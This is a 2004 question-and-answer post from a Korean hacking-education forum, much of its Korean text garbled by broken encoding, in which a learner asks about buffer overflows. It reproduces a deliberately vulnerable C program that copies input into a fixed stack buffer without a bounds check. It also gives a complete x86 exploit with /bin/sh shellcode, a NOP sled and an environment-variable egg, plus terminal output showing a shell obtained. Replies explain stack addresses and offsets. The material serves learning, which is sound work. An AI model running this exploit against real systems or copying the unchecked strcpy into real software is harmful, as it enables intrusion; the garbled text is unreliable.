ý ŷ

 1574, 6/79 ȸ  α  
   kkangy
   bofؼ ^^ ƿ.^^

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=134 []


ϱ ʺԴϴ.^^

bof ִµ.켱 ̰.^^


vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}


------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
̰ dz?

NOP ϱ offset 1000 ϸ鼭 ִ..

ƴ ظ ߳?^^

׸ ...^^;;;;(˼մϴ. .^^)

켱 malloc ߻ ޸ dumpcode ôµ 0x08xxxxxxκ̰ addr ּҴ bffffxxx̴ ̿ ޸𸮿  κ ڼ ˰ ͳ׿. ׸ ּ ̰ ...
׸ ŷ α׷ buffer ޸ ġ Ǵ°ǰ?^^

get_sp ּҴ κΰ?

׸ exploit ޸𸮿 ִ ¿ α׷ Ǵ ΰ?

get_sp-offset̶ ŷ α׷ buffer Ű ;ƴѰ? ƴϸ exploit ޸𸮿 ִ shellcode Ű ǰ?^^

ʹ׿..^^

ذ  ⿡ øϴ.

亯Ź帳ϴ.^^ ϰ ִ л ø...^^

  Hit : 4224     Date : 2004/02/23 07:01



    
-_- 1. մϴ. eggshell غ ص帮 ͳ׿. ȯ溯 Ͻø ˴ϴ. :) 2004/02/27
-_- 2. malloc() function ̿ Ҵ heap ̶ Ҹ, Ͻ addr ּҴ stack ̶ θϴ. 2004/02/27
-_- ȯ溯 stack Ͽ Ÿ DZ ּҰ 0xbfffxxxx ˴ϴ. 2004/02/27
-_- get_sp() ּҴ esp, ٽ ؼ stack address Դϴ. ȯ溯 stack ڸ´ٰ ߾, 2004/02/27
-_- ̸ ̿ ϱ ؼ shellcode address ʿϱ stack ּҸ esp ° Դϴ. 2004/02/27
-_- esp ͸ . 2004/02/27
-_- 3. exploit α׷ Ǵ κ ø system() Լ ο ŵϴ. ̰ ν α׷ putenv() Լ 2004/02/27
-_- Ѱ ״ ִ° Դϴ. 2004/02/27
-_- 4. offset ʴ´ٸ get_sp() Լ ȯ ϰ ˴ϴ. 2004/02/27
1474   ݼ Ŷ?[6]     icerain84
02/17 4548
1473   ŷ ߽ϴ.. [3]     counter-tr
02/20 4460
1472   .. ˼ѵ .. ̱ ּ .[4]     psd4d
02/21 3855
  bofؼ ^^ ƿ.^^[9]     kkangy
02/23 4223
1470   upxȭϿ ε...     marka
03/13 3331
1469     [re] upxȭϿ ε...     LivTyler
03/13 3158
1468   ׹濡µ[5]     aladdin2
03/17 4764
1467     [re] ׹濡µ     aladdin2
03/19 3778
1466       [re] ׹濡µ[1]     aladdin2
03/19 3913
1465   콺óϴµ[2]     speedll
03/19 3665
1464   Exploit Ե ̰Թ!? ͽ÷ΰװ...?[2]     kwc1119q
03/20 3925
1463   ; ʹ ;[3]     bluskycomplex
03/21 3840
1462   ϴ ٸ Ҽ...?[3]     makkarng
03/24 3498
1461   ̷ [4]     aegis2k
03/26 4326
1460   ̰ ŷ?[ϲ ַ][3]     netdbs
04/06 3800
1459   ͸ ŷߴ ߴ ˰ ;[2]     trance
04/06 3720
1458   Ե ~[1]     khs5037
04/06 3369
1457   Ͱ ϴ..     genuine
04/10 4002
1456   ǻͿ ϻ¸ ?     firentop
04/12 4117
1455   ֳ?[2]     shch9304
04/14 4484
[1][2][3][4][5] 6 [7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org